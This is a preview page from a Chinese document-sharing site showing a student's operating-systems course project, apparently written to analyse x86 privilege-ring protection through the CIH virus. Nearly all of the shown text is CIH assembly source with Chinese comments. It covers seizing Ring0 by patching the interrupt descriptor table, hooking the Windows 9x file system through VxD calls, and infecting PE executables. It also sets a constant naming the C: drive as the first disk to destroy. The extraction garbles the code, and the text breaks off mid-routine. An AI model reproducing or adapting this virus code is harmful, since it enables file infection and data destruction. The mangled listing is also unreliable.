一个操作系统课程设计.doc_第1页
一个操作系统课程设计.doc_第2页
一个操作系统课程设计.doc_第3页
一个操作系统课程设计.doc_第4页
一个操作系统课程设计.doc_第5页
已阅读5页,还剩28页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

键入文字- 33 -操作系统课程设计姓名: 高程学号: 20072528班级: 计算机科学与技术07-3班学院: 计算机与信息学院所选题目:Intel 80X68系列CPU的保护机制:分析CIH 目录病毒代码 -3 页程序流程图-26页病毒运行机制-27页特权级 -33页VxD -34页CIH病毒绕过CPU环保护机制的方法 -44页病毒代码代码部分:OriginalAppEXE SEGMENT ;PE格式可执行文件文件头FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; 病毒程序开始TRUE = 1 FALSE = 0 DEBUG = FALSE ;标识其版本号为1.4版MajorVirusVersion = 1 ;主版本号 MinorVirusVersion = 4 ;次版本号 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;合成版本号 IF DEBUG ;是否调试 FirstKillHardDiskNumber = 81h ;破坏D盘HookExceptionNumber = 05h ;使用5号中断 ELSE FirstKillHardDiskNumber = 80h ;破坏C盘HookxceptionNumber = 03h ;使用3号中断 ENDIF FileNameBufferSize = 7fh ;病毒代码段开始 VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame MyVirusStart: push ebp ;修改系统异常处理,避免产生错误提示信息 lea eax, esp-04h*2 xor ebx, ebx xchg eax, fs:ebx call 0 0: pop ebx ;获取程序起始偏移量,用此偏移量+相对偏移量获得绝对地址lea ecx, StopToRunVirusCode-0ebx push ecx push eax ; 修改中断描述表,以获得最高Ring0级权限 push eax sidt esp-02h ;获得中断描述表的基址到ebx pop ebx ; add ebx, HookExceptionNumber*08h+04h ;计算要用中断的基址到ebx cli ;在修改之前先关中断mov ebp, ebx ;获得异常处理的基址mov bp, ebx-04h ;获得入口lea esi, MyExceptionHook-1ecx push esi ;esi为病毒中断例程地址 mov ebx-04h, si ; shr esi, 16 ;修改异常 mov ebx+02h, si ;修改中断基址使指向病毒中断例程 pop esi ;生成进入ring0级的异常int HookExceptionNumber ;以中断的方式进入Ring0级 ReturnAddressOfEndException = $ ; 合并所有病毒代码 push esi mov esi, eax ;esi指向病毒开始处 ;循环进行复制 LoopOfMergeAllVirusCodeSection: mov ecx, eax-04h rep movsb ;复制病毒代码到分配好的系统内存首址 sub eax, 08h mov esi, eax or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1jmp LoopOfMergeAllVirusCodeSection ;复制下一段 QuitLoopOfMergeAllVirusCodeSection: pop esi int HookExceptionNumber ; 保存异常处理 ReadyRestoreSE: sti ;开中断 xor ebx, ebx jmp RestoreSE ; 当发生异常时,说明目前在Windows NT下,病毒将停止运行,直接跳转到原来程序StopToRunVirusCode: 1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:ebx mov esp, eax RestoreSE: pop dword ptr fs:ebx pop eax ; 跳转到原来程序,正常执行 pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ;把原程序的起始地址入栈ret ;以子程序返回形式返回到原程序的开始处 ;病毒初始化模块MyExceptionHook: 2 = MyExceptionHook jz InstallMyFileSystemApiHook ;如果病毒代码已拷贝好了;就转到安装系统钩子的程序 mov ecx, dr0 ;察看dr0是否设置过(dr0为病毒驻留标志)jecxz AllocateSystemMemoryPage ;没有设置,则分配系统内存 add dword ptr esp, ReadyRestoreSE-ReturnAddressOfEndException ;返回到原来的程序 ExitRing0Init: mov ebx-04h, bp ; shr ebp, 16 ; Restore Exception mov ebx+02h, bp ;恢复原来的中断基址 iretd ;中断返回 ; 分配将要使用的系统内存AllocateSystemMemoryPage: mov dr0, ebx ;设置病毒驻留的标志dr0push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages, ;ULONG pType, ULONG VM, ULONG AlignMask, ULONG minPhys, ;ULONG maxPhys, ULONG *PhysAddr,ULONG flags); push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VXD调用_PageAllocate = $ dd 00010053h ;使用eax、ecx、edx和flags寄存器add esp, 08h*04h ;恢复栈指针 xchg edi, eax ;edi指向分配好的系统内存首址 lea eax, MyVirusStart-2esi ;eax指向病毒开始处 iretd ;退出中断 ; 初始化文件系统钩子InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-6edi ;指向文件系统钩子程序首址 push eax ; int 20h ; Vxd调用IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ dd 00400067h ;使用eax、ecx、edx和flags 寄存器mov dr0, eax ;保存原来的文件系统钩子程序首址到dr0pop eax ;eax等于文件系统钩子程序首址 ;保存原来的IFSMgr_InstallFileSystemApiHook功能调用的入口mov ecx, IFSMgr_InstallFileSystemApiHook-2esi mov edx, ecx ;edx为IFSMgr_InstallFileSystemApiHook的入口 mov OldInstallFileSystemApiHook-3eax, edx ; 修改IFSMgr_InstallFileSystemApiHook入口lea eax, InstallFileSystemApiHook-3eax mov ecx, eax ;设置新的IFSMgr_InstallFileSystemApiHook功能调用的地址;使指向InstallFileSystemApiHook cli ;关中断jmp ExitRing0Init ;退出Ring0级;合并后的代码大小CodeSizeOfMergeVirusCodeSection = offset $ ;新的IFSMgr_InstallFileSystemApiHook功能调用 InstallFileSystemApiHook:push ebx call 4 4: pop ebx ;获得当前指令的偏移地址 add ebx, FileSystemApiHook-4 ;加上偏移的差等于FileSystemApiHook的偏移 push ebx int 20h ;调用Vxd移去指向FileSystemApiHook的钩子 IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ;使用eax、ecx、edx和flags寄存器pop eax ;调用原来的IFSMgr_InstallFileSystemApiHook功能连接FileSystemApiHook钩子push dword ptr esp+8 call OldInstallFileSystemApiHook-3ebx pop ecx push eax push ebx call OldInstallFileSystemApiHook-3ebx pop ecx mov dr0, eax ;调整OldFileSystemApiHook地址 pop eax pop ebx ret OldInstallFileSystemApiHook dd ;原来的InstallFileSystemApiHook调用地址 ;IFSMgr_FileSystemHook调用入口FileSystemApiHook: 3 = FileSystemApiHook push ad ;保存寄存器 call 5 5: pop esi ; mov esi, offset ;esi为当前指令的偏移 add esi, VirusGameDataStartAddress-5 ;esi为FileSystemApiHook的偏移;加VirusGameDataStartAddress的偏移之差等于VirusGameDataStartAddress的偏移;测试“忙”标志,“忙”则转到pIFSFunctest byte ptr (OnBusy-6)esi, 01h jnz pIFSFunc ;如果没有打开文件,则转到prevhook lea ebx, esp+20h+04h+04h ;ebx为FunctionNum的地址;文件系统钩子的调用格式如下 ;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,;int ResourceFlags, int CodePage, pioreq pir);判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去cmp dword ptr ebx, 00000024h jne prevhook inc byte ptr (OnBusy-6)esi ; Enable OnBusy ;设置“忙”标志为“忙” ;获得文件路径指定的驱动器号,然后把驱动器名称放到FileNameBuffer中;如果驱动器号为03h,则说明该盘是C盘mov esi, offset FileNameBuffer add esi, FileNameBuffer-6 ;esi指向FileNameBuffer push esi ;保存mov al, ebx+04h ;ebx+4为磁盘号的地址 ;是否UNC(universal naming conventions)地址,如果是就转CallUniToBCSPathcmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, : mov esi, eax ;处理成X:的形式,即在盘符后面增加一个冒号inc esi inc esi ;把Canonicalized Unicode的字符转换为普通的BCS字符集,调用方法 ;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, ;unsigned int maxLength, int charSet)CallUniToBCSPath: push 00000000h ;字符集 push FileNameBufferSize ;字符长度 mov ebx, ebx+10h mov eax, ebx+0ch add eax, 04h push eax ;Uni字符首址 push esi ;BCS字符首址 int 20h ;调用UniToBCSPath UniToBCSPath = $ dd 00400041h 调用id add esp, 04h*04h ;判断文件是否是EXE文件cmp esi+eax-04h, EXE. pop esi jne DisableOnBusy IF DEBUG ;以下信息为调试用cmp esi+eax-06h, KCUF jne DisableOnBusy ENDIF ;判断文件是否存在,如果不存在,则转向DisableOnBusy处cmp word ptr ebx+18h, 01h jne DisableOnBusy ;获得文件属性mov ax, 4300h int 20h ;调用IFSMgr_Ring0_FileIO获得文件属性的功能 IFSMgr_Ring0_FileIO = $ dd 00400032h ;调用号 jc DisableOnBusy push ecx ;获得IFSMgr_Ring0_FileIO地址mov edi, dword ptr (IFSMgr_Ring0_FileIO-7)esi mov edi, edi ;判断是否只读文件,如果是,则修改文件属性,否则转向OpenFile处test cl, 01h jz OpenFile mov ax, 4301h xor ecx, ecx call edi ;调用IFSMgr_Ring0_FileIO修改文件属性的功能,使文件可写;打开文件OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx ;文件属性 xor edx, edx inc edx mov ebx, edx inc ebx ;esi为文件名首址 call edi ;调用IFSMgr_Ring0_FileIO打开文件的功能 xchg ebx, eax ;在ebx中保存文件句柄 ;是否需要恢复文件属性(有写属性就不需要恢复了)pop ecx pushf test cl, 01h jz IsOpenFileOK ;恢复文件属性mov ax, 4301hcall edi ;恢复文件属性 ;文件打开是否成功,如果不成功,则转向DisableOnBusy处IsOpenFileOK: popf jc DisableOnBusy;文件打开成功push esi ;把文件名数据区首址入栈 pushf ;CF = 0,保存标志位 add esi, DataBuffer-7 ;esi指向数据区首址 ;获得新文件头的偏移xor eax, eax mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE) ;为了达到使病毒代码长度最少的目的,把eax保存到ebpmov ebp, eax push 00000004h ;读取4个字节 pop ecx push 0000003ch ;读取DOS文件头偏移3ch处的Windows文件头首部偏移 pop edx call edi ;读文件到esi mov edx, esi ;Windows文件头首部偏移放到edx ; 获得图形文件头的PE标记和已感染标记dec edx mov eax, ebp ;功能号 call edi ;读文件到esi ;判断是否是PE,如果是,进一步判断是否已经感染过;判断是否是WinZip自解压文件,如果是,就不感染 Self-Extractor * cmp dword ptr esi, 00455000h ;判断是否是PE文件(标志PE00) jne CloseFile ;不是就关闭文件 ;如果是PE文件,且没有被感染,就开始感染该文件push ebx ;保存文件句柄 push 00h ;设置病毒感染标记push 01h ;标记大小push edx ;edx指向PE文件头偏移00h push edi ;edi为IFSMgr_Ring0_FileIO的地址 mov dr1, esp ;保存esp;设置 NewAddressOfEntryPoint入口push eax ;读文件头mov eax, ebp mov cl, SizeOfImageHeaderToRead ;要读2个字节 add edx, 07h ;PE文件头+07h为NumberOfSections(块个数) call edi ;读出NumberOfSections(块个数)到esi lea eax, (AddressOfEntryPoint-8)edx push eax ;文件指针 lea eax, (NewAddressOfEntryPoint-8)esi push eax ; 缓冲区地址;把edx的值放到文件病毒代码块表表的开始位置movzx eax, word ptr (SizeOfOptionalHeader-8)esi lea edx, eax+edx+12h ;edx为病毒代码块表的偏移 ;获得病毒代码块表的大小mov al, SizeOfScetionTable ;每个块表项的大小mov cl, (NumberOfSections-8)esi mul cl ;每个块表项乘以块个数等于块表大小 ; 设置病毒代码块表 lea esi, (StartOfSectionTable-8)esi ;esi指向块表首址(在病毒动态数据区中) push eax ;块表大小 push edx ;edx为病毒代码块表的偏移 push esi ;缓冲区地址;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h ;乘8 push ecx ;预留病毒块表空间 add ecx, eax add ecx, edx ;ecx+文件的正文的偏移 sub ecx, (SizeOfHeaders-9)esi not ecx inc ecx ;求补,ecx为文件头大小 - 正文的偏移 = 未用空间 push ecx xchg ecx, eax ;ecx为块表大小 mov eax, (AddressOfEntryPoint-9esi ;入口RVA地址 add eax, (ImageBase-9)esi ;装入基址 mov (OriginalAddressOfEntryPoint-9)esi, eax ;保存装入后实际的入口地址 ;未用空间和病毒第一块大小比较,如果小于就只设感染标志cmp word ptr esp, small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ; 读取所有病毒块表mov eax, ebp ;读的功能号 call edi ;读块表到esi(9处) ;下面完全修改处理Winzip自解压文件的错误,当用户打开自解压文件时,;病毒不会感染。首先,病毒获得第2个块表的ToRawData指针,;读取该块数据,判断是否包含“WinZip(R)”字样xchg eax, ebp push 00000004h pop ecx 读4字节 push edx mov edx, (SizeOfScetionTable+PointerToRawData-9ebx ;edx为第二块的偏移(.rdata) add edx, 12h ;加10h+2h(10h处为WinZip.) call edi ;读4字节到esi ;判断是否Winzip自解压文件,如果是就不设置感染标志cmp dword ptr esi, piZn je NotSetInfectedMark pop edx ;edx指向块表在文件中首址 ; 设置病毒代码块表pop ebx ;未用空间大小 pop edi ;edi = TotalSizeOfVirusCodeSectionTabl pop ecx ; ecx = NumberOfSections+1 push edi add edx, ebp ; ebp为块表大小 push edx ;文件指针 add ebp, esi ; ebp指向病毒数据区的块表后(第一块) push ebp ;缓冲区地址 ; 设置第一个病毒代码块的大小 lea eax, ebp+edi-04h mov eax, ebx ; 设置第一个病毒块push ebx ; 病毒代码第一块的大小add edx, edi push edx ;文件指针lea edi, (MyVirusStart-9)esi push edi ;缓冲区地址;修改AddressOfEntryPoint的入口为病毒入口mov (NewAddressOfEntryPoint-9)esi, edx ;保存新的程序入口(病毒正文) ; 设置初始数据lea edx, esi-SizeOfScetionTable ;edx先减一项块表长度mov ebp, offset VirusSize ;ebp为病毒长度 jmp StartToWriteCodeToSections ;写信息到病毒块LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-9)edx ;ebx为该块表项的SizeOfRawData(块大小) sub ebx, (VirtualSize-9edx ;减去VirtualSize等于该块未用空间 jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov eax, ebx ;写入病毒块表 mov ebx, (PointerToRawData-9)edx ;ebx为块的物理(实际)偏移add ebx, (VirtualSize-9)edx ;加上VirtualSize push ebx ;ebx指向该块未用空间的文件指针 push edi ; 缓冲区地址 mov ebx, (VirtualSize-9)edx add ebx, (VirtualAddress-9)edx add ebx, (ImageBase-9)esi ;ebx为该块装入后的实际地址 mov eax+4, ebx ;保存到病毒块表中 mov ebx, eax ;该块未用空间大小 add (VirtualSize-9)edx, ebx ;加到该块表项的VirtualSize;改该块表项的块属性(改为可读,并包含初始化数据)or (Characteristics-9)edx, 40000040h ;开始写代码StartToWriteCodeToSections: sub ebp, ebx ;病毒大小-病毒块大小 ;如果小于(病毒插入完毕)就设置病毒块表结束符jbe SetVirusCodeSectionTableEndMark add edi, ebx ;指向病毒下一块 ;写代码结束EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections OnlySetInfectedMark: mov esp, dr1 ;只设置感染标志 jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序 ;不设置感染标志NotSetInfectedMark: add esp, 3ch jmp CloseFile ;转到CloseFile处 ;设置病毒块表和标记SetVirusCodeSectionTableEndMark: ;调整病毒块代码add eax, ebp ;更正病毒块表的最后一项 add esp+08h, ebp ;设置块表结束标志xor ebx, ebx mov eax-04h, ebx ; 当病毒程序调用 Vxd指令时,VMM修改20号中断lea eax, (LastVxdCallAddress-2-9)esi ;上一个调用Vxd指令的地址 mov cl, VxdCallTableSize ;所用Vxd调用的个数 LoopOfRestoreVxdCallID: mov word ptr eax, 20cdh ;还原成“int 20h”的形式 ;从VxdCallIDTable取出Vxd调用的id号放到edxmov edx, (VxdCallIDTable+(ecx-1)*04h-9)esi mov eax+2, edx ;放到“int 20h”的后面;VxdCallAddressTable中放着各个调用Vxd的指令地址之差movzx edx, byte ptr (VxdCallAddressTable+ecx-1-9)esi sub eax, edx ;eax为上一个调用地址 loop LoopOfRestoreVxdCallID ;还原其他的调用 ; 把病毒代码写到文件中WriteVirusCodeToFile: mov eax, dr1 ;dr1为前面所保存的esp mov ebx, eax+10h ;ebx为保存在栈中的保存文件句柄mov edi, eax ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用地址;循环写入LoopOf

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论